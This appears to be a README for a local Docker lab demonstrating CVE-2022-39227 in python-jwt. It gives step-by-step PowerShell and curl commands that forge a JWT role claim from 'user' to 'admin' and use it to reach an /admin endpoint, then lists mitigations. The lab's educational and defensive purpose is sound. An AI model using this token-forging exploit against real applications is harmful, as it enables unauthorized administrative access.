
This project demonstrates the CVE-2022-39227 vulnerability in a controlled local lab environment. This vulnerability affects the python-jwt library (versions < 3.3.4) and allows an attacker to forge JWT claims without knowing the secret key by exploiting a parsing inconsistency (JWS Serialization) between python-jwt and its dependency jwcrypto.
The project spins up two identical Flask applications using Docker, separated only by their dependency versions:
python-jwt==3.3.3)python-jwt==3.3.4)Both applications implement a simple Role-Based Access Control (RBAC). A regular user (alice) can log in and receive a JWT. Only users with the admin role in their JWT claim can access the /admin endpoint.
1. Start the Environment Ensure Docker Desktop is running, then execute:
docker-compose up -d --build
This will start both the vulnerable and the fixed servers in the background.
To reproduce the attack, you will execute raw HTTP requests and payload manipulations manually in PowerShell. This demonstrates that the vulnerability lies within the protocol and the library's parsing logic, not in an external tool.
Step 1: Log in and obtain a valid token
$response = Invoke-RestMethod -Uri "http://localhost:5000/login" -Method Post -Body '{"username":"alice","password":"alice123"}' -ContentType "application/json"
$token = $response.token
Step 2: Split the JWT into components
$parts = $token.Split('.')
$header = $parts[0]
$payload = $parts[1]
$signature = $parts[2]
Step 3: Decode Payload, modify the role, and re-encode to Base64Url
# Decode original payload
$decodedPayload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload.PadRight($payload.Length + (4 - $payload.Length % 4) % 4, '=').Replace('-', '+').Replace('_', '/')))
# Change role from "user" to "admin"
$modPayload = $decodedPayload -replace '"role":"user"','"role":"admin"'
# Encode modified payload back to Base64Url
$modPayloadB64 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($modPayload)).TrimEnd('=').Replace('+', '-').Replace('/', '_')
Step 4: Construct the Malicious JWS Serialization Format
$forged_token = '{{"{0}.{1}":"","protected":"{0}","payload":"{2}","signature":"{3}"}}' `
-f $header, $modPayloadB64, $payload, $signature
$forged_token_escaped = $forged_token -replace '"', '\"'
Step 5: Execute the Attack against both servers
# Attack Vulnerable Server (Port 5000) -> SUCCESS
curl.exe -s -X GET http://localhost:5000/admin -H "Authorization: Bearer $forged_token_escaped"
# Attack Fixed Server (Port 5001) -> BLOCKED (Invalid token format)
curl.exe -s -X GET http://localhost:5001/admin -H "Authorization: Bearer $forged_token_escaped"
Upgrade python-jwt to version 3.3.4 or later. Additionally, applications should enforce strict signature validation and verify payload integrity directly through the application's logic layer whenever possible.
This project was conducted strictly within a local, controlled laboratory environment for educational purposes. No third-party systems, public services, or real user accounts were targeted.